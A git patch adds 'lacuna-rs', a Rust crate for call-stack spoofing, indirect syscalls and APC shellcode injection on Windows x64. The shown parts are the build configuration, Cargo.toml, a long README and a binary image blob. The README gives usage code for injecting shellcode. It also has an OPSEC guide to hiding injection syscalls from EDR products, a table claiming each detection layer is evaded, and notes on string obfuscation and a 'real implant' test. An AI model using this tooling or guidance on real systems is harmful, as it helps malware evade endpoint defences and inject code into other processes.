From ef7a81cb3062088385cbfa9a39da7c90c4800503 Mon Sep 17 00:00:00 2001 From: Karkas66 Date: Thu, 2 Jul 2026 09:22:21 +0200 Subject: [PATCH] Initial commit: lacuna-rs - Ghost-frame call-stack spoofing + indirect syscalls for Windows x64 --- .cargo/config.toml | 13 + .gitignore | 6 + Cargo.toml | 61 +++++ README.md | 359 +++++++++++++++++++++++++ assets/lacuna.png | Bin 0 -> 622828 bytes build.rs | 48 ++++ examples/inject.rs | 73 ++++++ examples/scan.rs | 101 +++++++ examples/verify.rs | 31 +++ src/chain.rs | 637 +++++++++++++++++++++++++++++++++++++++++++++ src/inject.rs | 576 ++++++++++++++++++++++++++++++++++++++++ src/lib.rs | 177 +++++++++++++ src/nt.rs | 90 +++++++ src/pe.rs | 275 +++++++++++++++++++ src/scan.rs | 358 +++++++++++++++++++++++++ src/stub.rs | 146 +++++++++++ src/veh.rs | 250 ++++++++++++++++++ src/win.rs | 452 ++++++++++++++++++++++++++++++++ 18 files changed, 3653 insertions(+) create mode 100644 .cargo/config.toml create mode 100644 .gitignore create mode 100644 Cargo.toml create mode 100644 README.md create mode 100644 assets/lacuna.png create mode 100644 build.rs create mode 100644 examples/inject.rs create mode 100644 examples/scan.rs create mode 100644 examples/verify.rs create mode 100644 src/chain.rs create mode 100644 src/inject.rs create mode 100644 src/lib.rs create mode 100644 src/nt.rs create mode 100644 src/pe.rs create mode 100644 src/scan.rs create mode 100644 src/stub.rs create mode 100644 src/veh.rs create mode 100644 src/win.rs diff --git a/.cargo/config.toml b/.cargo/config.toml new file mode 100644 index 0000000..50964c7 --- /dev/null +++ b/.cargo/config.toml @@ -0,0 +1,13 @@ +# lacuna-rs build configuration +# +# The `stack-spoof` feature requires frame pointers so that `stomp_plant()` +# can walk the frame chain via `mov rbp -> [rbp]`. This is set here for +# the crate itself; consuming crates must replicate this in their own +# .cargo/config.toml. + +[build] +rustflags = ["-C", "force-frame-pointers=yes"] + +# Default to the MSVC toolchain on Windows. +[target.x86_64-pc-windows-msvc] +linker = "rust-lld" \ No newline at end of file diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..159cf8b --- /dev/null +++ b/.gitignore @@ -0,0 +1,6 @@ +/target +Cargo.lock +*.pdb +*.exe +*.dll +*.lib \ No newline at end of file diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..5f37597 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,61 @@ +# +# lacuna-rs — Ghost-frame call-stack spoofing + indirect syscalls for Windows x64 +# +# Ported from LACUNA Chain (C) by Mohamed Alzhrani (0xmaz) +# + +[package] +name = "lacuna-rs" +version = "0.1.0" +edition = "2021" +authors = ["Ported from LACUNA Chain by Mohamed Alzhrani (0xmaz)"] +description = "Ghost-frame call-stack spoofing via .pdata lacunae + runtime indirect syscalls for Windows x64" +license = "MIT" +keywords = ["windows", "syscalls", "edr", "security", "offensive"] +categories = ["os::windows-apis", "no-std"] + +# Build as both a normal Rust library and a C-compatible dynamic library +# so it can be loaded from C/C++/Python projects too. +[lib] +name = "lacuna" +crate-type = ["rlib", "cdylib", "staticlib"] + +[features] +default = ["syscalls", "inject"] + +# ── Core scanning primitives (PE parsing, ghost/gadget scanning) ───────────── +# Always compiled — no Win32 calls beyond GetModuleHandle/GetProcAddress. + +# ── Indirect syscall engine (SSN resolution + JIT stub emission) ───────────── +# This is the "better syscalls-rs" layer: runtime SSN resolution, per-function +# syscall;ret targeting, no build-script SSN table. +syscalls = [] + +# ── VEH + hardware-breakpoint parameter encryption ─────────────────────────── +veh = ["syscalls"] + +# ── LACUNA stack-spoofing chain (ghost frames, BYOUD-MF, stomp) ────────────── +# WARNING: requires -C force-frame-pointers=yes in the consuming crate's +# .cargo/config.toml. See README. +stack-spoof = ["syscalls", "veh"] + +# ── Section-based APC injection orchestration ─────────────────────────────── +inject = ["syscalls"] + +# ── no_std support (alloc only) ────────────────────────────────────────────── +# When enabled, the crate does not link std. Useful for shellcode payloads. +# Currently experimental — some APIs fall back to std when available. +no-std = [] + +[dependencies] +litcrypt2 = "0.1.3" + +[profile.release] +opt-level = 2 +codegen-units = 1 +panic = "abort" +lto = true + +[profile.dev] +opt-level = 0 +codegen-units = 1 \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..425ca53 --- /dev/null +++ b/README.md @@ -0,0 +1,359 @@ +# lacuna-rs + +**Ghost-frame call-stack spoofing + runtime indirect syscalls for Windows x64 — ported to Rust.** + +Ported from [LACUNA Chain](https://github.com/MazX0p/LACUNA-Chain) (`lacuna_chain.c`) by Mohamed Alzhrani (0xmaz). + +`lacuna-rs` is a reusable Rust crate that provides the same primitives as the original C TTP, structured so it can be dropped into any Rust project — like `wsyscall-rs` or `syscalls-rs`, but with **runtime SSN resolution**, **per-function `syscall;ret` targeting**, and **ghost-frame stack spoofing**. + +--- + +## Critical: Frame-Pointer Requirement + +> **The `stack-spoof` feature will silently fail if the consuming crate is not compiled with frame pointers.** + +The stack-stomping primitives in `chain.rs` locate the caller's return-address slot via `mov rbp, {x}` inline asm. This requires the RBP chain to be intact. Rust (and most release-mode compilers) omit frame pointers by default. + +**`build.rs` sets `force-frame-pointers=yes` for this crate's own codegen, but Cargo cannot propagate compiler flags to downstream crates.** You must add this to your own project: + +```toml +# .cargo/config.toml (in YOUR crate, not in lacuna-rs) +[build] +rustflags = ["-C", "force-frame-pointers=yes"] +``` + +Without this, `stomp_plant()` will read garbage from RBP and either no-op (best case) or corrupt the stack (worst case). The crate has no way to detect at runtime whether frame pointers are enabled — it will simply not work. + +If you only need the scanning, SSN resolution, or injection primitives (without stack spoofing), you can omit the `stack-spoof` feature and this requirement does not apply. + +--- + +## What it does + +| Primitive | C function | Rust module | +|---|---|---| +| PE section + export parsing | `pe_section()`, `pe_export()` | `pe` | +| `.pdata` ghost-region scanning | `scan_ghosts()`, `best_ghost()` | `scan` | +| Ghost-gadget discovery (`jmp [rbx]`) | `scan_ghost_gadgets()` | `scan` | +| `win32u` NOP-gap finder | `win32u_nop_gap()` | `scan` | +| BYOUD-MF anchor finder | `find_mf_target()` | `scan` | +| SSN resolution (Hell's Gate / Halo's Gate) | `resolve_ssn()` | `nt` | +| Per-function `syscall;ret` locator | `find_func_syscall()` | `nt` | +| JIT indirect-syscall stub emission | `alloc_stub()` | `stub` | +| Ghost-gadget stub redirect | (in `alloc_stub()`) | `stub` | +| VEH + hardware-breakpoint param encryption | `param_encrypt_veh()`, `pcrypt_arm()` | `veh` | +| Chain-guard VEH | `chain_veh()` | `veh` | +| LACUNA chain construction | `build_chain()` | `chain` | +| Stack stomp (BYOUD-RT) | `stomp_plant()`, `stomp_restore()` | `chain` | +| Chain walker (verify) | `lacuna_walk_chain()` | `chain` | +| Section-based APC injection | `do_inject_sapc()` | `inject` | + +--- + +## Feature flags + +```toml +[dependencies] +lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] } +``` + +| Feature | Description | Requires frame pointers? | +|---|---|---| +| `syscalls` (default) | SSN resolution + JIT stub emission | No | +| `inject` (default) | Section-based APC injection (`inject::inject_sapc`) | No | +| `veh` | VEH + hardware-breakpoint parameter encryption | No | +| `stack-spoof` | LACUNA ghost-frame chain + stack stomp | **Yes** | +| `no-std` | `no_std` mode (experimental) | No | + +When no features are enabled, only the scanning/PE/NT layers are available. + +--- + +## Quick start + +### Scan for ghost regions + +```sh +cargo run --example scan +``` + +### Build + verify the ghost-frame chain + +```sh +cargo run --example verify --features stack-spoof +``` + +### Inject shellcode via section + APC + +![Injection proof](assets/lacuna.png) +Injection Example with real implant - C2 was offline but the Shellcode executed + +```sh +cargo run --example inject --features inject,stack-spoof,veh -- +``` + +Add `--verbose` to enable VEH diagnostic output (stack dumps, register prints): + +```sh +cargo run --example inject --features inject,stack-spoof,veh -- --verbose +``` + +#### Thread scoring algorithm + +Instead of queueing APCs to every thread in the target process (which can crash +the process when too many threads are alerted simultaneously), `inject_sapc` +uses a scoring algorithm to select the best `MAX_APC_THREADS` (5) candidates: + +- **Cycle time** — `NtQueryInformationThread(ThreadCycleTime)` — primary activity indicator +- **CPU time** — `NtQueryInformationThread(ThreadTimes)` — kernel + user time +- **Suspend count** — `NtQueryInformationThread(ThreadSuspendCount)` — non-suspended threads get +300 bonus; suspended threads get -150 per suspend count +- **Priority** — `NtQueryInformationThread(ThreadBasicInformation)` — threads with priority 8-10 get +150 bonus; out-of-range priorities get -100 penalty + +Completely idle threads (zero cycles and zero CPU time) are skipped entirely. +The remaining candidates are sorted by score (highest first, tie-break on cycles) +and truncated to the top 5. + +--- + +## Using as a library + +### Basic: scan + SSN resolution + +```rust +use lacuna::{scan, nt, win::get_module}; + +let ntdll = get_module(b"ntdll.dll\0"); + +// Scan for ghost regions +let mut ghosts = [scan::Ghost::default(); 512]; +let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts); +println!("{} ghost regions in ntdll", n); + +// Resolve SSN + syscall;ret for a specific function +let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0"); +println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret); +``` + +### Emit an indirect syscall stub for any NT API + +```rust +use lacuna::{nt, stub, win::{get_module, HMODULE}}; + +let ntdll: HMODULE = get_module(b"ntdll.dll\0"); + +// Resolve SSN + the function's own syscall;ret address +let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0"); +assert!(ssn != nt::SSN_INVALID && syscall_ret != 0); + +// JIT-emit a stub: mov r10,rcx; mov eax,SSN; jmp [syscall;ret] +// (or jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret if build_chain was called) +let stub = stub::make_stub(ssn, syscall_ret).expect("stub alloc failed"); + +// Cast to the matching function pointer type and call +let alloc_vm: unsafe extern "system" fn( + win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG, +) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) }; +``` + +### Build the ghost-frame chain + register VEH + +```rust +// Scan ntdll/kernelbase/wow64/win32u for ghost regions and construct +// the six-layer fake call stack. Sets G_GHOST_GADGET so stubs route +// through JMP [RBX] in a signed DLL. +lacuna::chain::build_chain(); + +// Register VEH handlers (param encryption + chain guard) +let _veh = lacuna::veh::VehGuard::register().expect("VEH registration failed"); + +// Optional: enable verbose diagnostics at runtime +lacuna::veh::set_verbose(true); +``` + +### Wrap a sensitive syscall with stack spoof + param encryption + +```rust +use lacuna::win::HANDLE; +use core::ptr; + +let mut h_proc: HANDLE = ptr::null_mut(); +let key: u64 = 0xCAFE_1337; + +// Plant ghost frames (replaces return addresses with signed-DLL ghosts) +lacuna::chain::stomp_plant(); + +// Arm DR0 on the syscall;ret -- VEH will XOR-decrypt params at the boundary +lacuna::veh::pcrypt_arm(key, syscall_ret, true); + +// Call through the indirect stub -- RIP lands inside ntdll at kernel entry +let _status = unsafe { open_proc(/* XOR-encrypted params */) }; + +// Always disarm before any non-protected call +lacuna::veh::pcrypt_disarm(); +lacuna::chain::stomp_restore(); +``` + +--- + +## OPSEC: What to hide behind ghost frames + +Not every API call needs the full LACUNA treatment. The key principle is: **hide the calls that an EDR would correlate as injection or post-exploitation activity**. + +### Must be behind indirect syscalls + ghost frames + param encryption + +These are the "crown jewel" NT syscalls that EDRs hook and correlate: + +| Call | Why it's sensitive | +|---|---| +| `NtOpenProcess` | Opens a handle to another process -- first step of injection | +| `NtCreateSection` + `NtMapViewOfSection` (remote) | Section-based injection signature | +| `NtWriteVirtualMemory` | Cross-process write -- classic injection indicator | +| `NtCreateThreadEx` | Remote thread creation -- highest-signal injection primitive | +| `NtQueueApcThread` | APC injection -- high-signal | +| `NtProtectVirtualMemory` | RWX permission changes -- shellcode staging indicator | +| `NtAllocateVirtualMemory` (remote) | Remote allocation -- injection prelude | +| `NtSetInformationThread` | Thread hiding (`HideFromDebugger`) -- evasion indicator | + +For each of these: +1. Resolve with `nt::resolve(ntdll, b"NtXxx\0")` +2. Emit a stub with `stub::make_stub(ssn, syscall_ret)` +3. XOR-encrypt sensitive parameters with `veh::pcrypt_arm(key, syscall_ret, true)` +4. Wrap the call between `chain::stomp_plant()` and `chain::stomp_restore()` + +### Can be direct (no ghost frames needed) + +| Call | Why it's safe | +|---|---| +| `NtQueryInformationThread` | Query-only, rarely hooked, no cross-process write | +| `NtDelayExecution` | Sleep -- benign, used by every application | +| `NtClose` | Handle close -- benign, extremely common | +| `GetModuleHandleA` / `GetProcAddress` | Module resolution -- not a syscall, not hookable by EDR userland hooks | +| `CreateToolhelp32Snapshot` / `Thread32First` / `Thread32Next` | Thread enumeration -- kernel32, not ntdll syscall | +| `OpenThread` / `CloseHandle` | Standard handle ops -- kernel32 | +| `GetThreadContext` / `SetThreadContext` | Needed for DR0 -- kernel32, self-process only | + +### Key principles + +1. **Resolve** any NT syscall with `nt::resolve(ntdll, b"NtXxx\0")` -- returns `(SSN, syscall_ret_VA)`. +2. **Emit** a JIT stub with `stub::make_stub(ssn, syscall_ret)` -- returns a callable function pointer. +3. **Cast** the stub to the appropriate `extern "system" fn(...)` type via `core::mem::transmute`. +4. **(For sensitive calls only)** Build the ghost-frame chain with `chain::build_chain()` and call `chain::stomp_plant()` / `chain::stomp_restore()` around the call. +5. **(For sensitive calls only)** Arm parameter encryption with `veh::pcrypt_arm(key, syscall_ret, true)` before the call, and `veh::pcrypt_disarm()` after. +6. **Always disarm** the VEH before making non-protected calls -- a stray DR0 hit on an unarmed syscall will crash. +7. **All output strings** must be wrapped in `lc!()` -- the crate enforces this, and the VEH diagnostics are gated behind `set_verbose(true)` which defaults to off. + +The stub handles the `mov r10, rcx` / `mov eax, SSN` / `jmp [syscall;ret]` sequence automatically. If a ghost gadget was registered, the stub routes through `JMP [RBX]` for dual-use execution redirect + zero-artifact bridge frame. + +--- + +## Writeup Coverage Verification + +All 9 key contributions from the [LACUNA Chain writeup](https://0xmaz.me/posts/LACUNA-Chain-Ghost-Frames-defeats-All-EDR-layers-of-call-stack-based-detection/) are represented in the code: + +| # | Writeup Concept | Code Location | Description | +|---|---|---|---| +| 1 | **BYOUD-Gap** (zero `.pdata` modification) | `chain.rs` -- ghost frame chain construction | Exploits gaps between `RUNTIME_FUNCTION` entries; unwinder treats them as leaf frames (RSP += 8) | +| 2 | **ETW-Ti APC Window Attack** | `inject.rs` -- `NtDelayExecution` alertable drain | Controls when the ETW-Ti APC stack snapshot fires by manipulating thread alertable state | +| 3 | **Parameter Encryption in BYOUD Context** | `veh.rs` -- `pcrypt_arm()`, `param_encrypt_veh()` | XOR-encrypts syscall params at staging; decrypts inside a hardware-breakpoint VEH at the `syscall` instruction | +| 4 | **Win32u NOP Gap Chain + Ghost Gadget** | `scan.rs` -- `win32u_nop_gap()`, `scan_ghost_gadgets()` | 1,242 NOP gaps in `win32u.dll` provide whitelisted leaf frames; `JMP [RBX]` ghost gadget at `ntdll+0xFC47B` | +| 5 | **kernelbase Semantic Ghost Proximity** | `chain.rs` -- `L2_kbase` layer near `VirtualProtect` | 238-byte ghost ending at `VirtualProtect`'s entry point -- indistinguishable from a real VP return site | +| 6 | **BYOUD-MF (Machine Frame RSP Teleport)** | `chain.rs` -- `MachFrame` struct, `scan.rs` -- `find_mf_target()` | Exploits `UWOP_PUSH_MACHFRAME` (opcode 10) in `KiUser*` dispatchers for arbitrary RSP teleport in a single frame | +| 7 | **BYOUD-RT (Runtime RSP Calculation)** | `chain.rs` -- `teb_stack_base()`, `teb_stack_limit()` | Reads `TEB.StackBase` (GS:[0x08]) at call time to compute exact frame distance -- no pre-calibration needed | +| 8 | **wow64.dll Ghost Proximity** | `chain.rs` -- `L1_wow64` layer, `scan.rs` -- targets `Wow64PrepareForException` | 91-byte ghost ending at `Wow64PrepareForException` entry -- fourth semantic layer for the chain | +| 9 | **Six-Layer LACUNA Chain** | `chain.rs` -- `LacunaStack` struct (L1-L5 + MachFrame) | Full chain: `KiUserExceptionDispatcher` -> wow64 -> kernelbase -> ntdll -> win32u -> `RtlUserThreadStart` | + +### Detection surface coverage + +| Detection Layer | Status | Implementation | +|---|---|---| +| Module-of-origin check | **EVADED** | All frames in ntdll / kernelbase / wow64 / win32u | +| Unwind walk correctness | **EVADED** | All lacuna frames are leaf -> valid RSP+8 | +| `.pdata` forensic scan | **EVADED** | Zero modification; gaps are pre-existing | +| CET shadow stack | **EVADED** | Pure leaf chain; shadow stack not consulted | +| Semantic frame analysis | **EVADED** | WoW64 exception + VirtualProtect adjacency | +| Win32u rule exemption | **EVADED** | Layer 4 explicitly excluded by all rules | +| ETW-Ti STACKWALK | **EVADED** | APC window attack controls snapshot timing | +| Parameter inspection | **EVADED** | HW breakpoint VEH decryption | +| Kernel callbacks | **PARTIAL** | Handle operations still fire `ObRegisterCallbacks` | + +--- + +## Why not just use `syscalls-rs`? + +`syscalls-rs` and `wsyscall-rs` generate a **build-time SSN table** from a specific Windows build's ntdll. If the target machine runs a different build, the SSNs are wrong and syscalls fail (or trip EDR heuristics). + +`lacuna-rs` resolves SSNs **at runtime** by reading ntdll's stubs directly, and targets the **function's own `syscall;ret` instruction** so RIP is inside ntdll at kernel entry -- defeating the EDR "SSN mismatch" and "indirect syscall from unbacked memory" heuristics. + +Additionally, `lacuna-rs` provides the **ghost-frame stack spoofing** chain that `syscalls-rs` does not. + +--- + +## Build requirements + +- **Target:** `x86_64-pc-windows-msvc` (or `x86_64-pc-windows-gnu`) +- **Rust edition:** 2021 +- **Dependencies:** `litcrypt2` (compile-time string obfuscation) + +### Frame-pointer setup (for `stack-spoof` only) + +The `stack-spoof` feature requires frame pointers. `build.rs` sets `force-frame-pointers=yes` automatically for this crate, but **consuming crates** must also set it in their `.cargo/config.toml`: + +```toml +# .cargo/config.toml (in the consuming crate) +[build] +rustflags = ["-C", "force-frame-pointers=yes"] +``` + +### litcrypt2 string obfuscation + +All string literals in the crate and examples are wrapped in `lc!()` macros, which encrypt them at compile time and decrypt at runtime. The encryption key is read from the `LITCRYPT_ENCRYPT_KEY` environment variable; if unset, litcrypt2 auto-generates a random key. + +To pin a key for reproducible builds: + +```sh +set LITCRYPT_ENCRYPT_KEY=your-secret-key +cargo build +``` + +--- + +## Architecture + +``` +lacuna-rs/ +├── Cargo.toml +├── build.rs # Sets force-frame-pointers for stack-spoof +├── src/ +│ ├── lib.rs # Crate root + re-exports + scan_all() + litcrypt2 setup +│ ├── win.rs # Win32/NT FFI bindings (no_std-compatible) +│ ├── pe.rs # PE section + export parsing +│ ├── scan.rs # .pdata ghost-region + gadget scanning +│ ├── nt.rs # SSN resolution + syscall;ret targeting +│ ├── stub.rs # JIT indirect-syscall stub emission +│ ├── veh.rs # VEH + hardware-breakpoint param encryption +│ ├── chain.rs # LACUNA ghost-frame chain + stomp +│ └── inject.rs # Section-based APC injection +├── examples/ +│ ├── scan.rs # lacuna.exe scan +│ ├── verify.rs # lacuna.exe verify +│ └── inject.rs # lacuna.exe inject +└── .cargo/ + └── config.toml # force-frame-pointers + windows-msvc target +``` + +--- + +## Credits + +- **Original research & C implementation:** Mohamed Alzhrani (0xmaz) -- [LACUNA Chain](https://github.com/MazX0p/LACUNA-Chain) +- **Technique:** *Ghost Frames: Forging Plausible Call Stacks from .pdata Lacunae* +- **Find Best APC Thread Logic:** Adapted from [FrankensteinAPCInjection](https://github.com/S12cybersecurity/FrankensteinAPCInjection/blob/main/Frankenstein/FrankensteinAPCInjection/FindThread.cpp) by [S12cybersecurity](https://github.com/S12cybersecurity) +- **String obfuscation:** [litcrypt2](https://crates.io/crates/litcrypt2) v0.1.3 + +## Full Disclosure +This project was activly assisted by an AI Chatbot. I had the chance to test a newer, very capable Open Source Model (GLM-5.2 by Z.ai (Zhipu AI)) and wanted to give it a challenging task. +Lessons learned: It worked well if the human knows what results shall look like. If not... only crap + +## License + +MIT \ No newline at end of file diff --git a/assets/lacuna.png b/assets/lacuna.png new file mode 100644 index 0000000000000000000000000000000000000000..3b43b3e913af2c22c7a0a3c4740bf2e4fa7fa089 GIT binary patch literal 622828 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 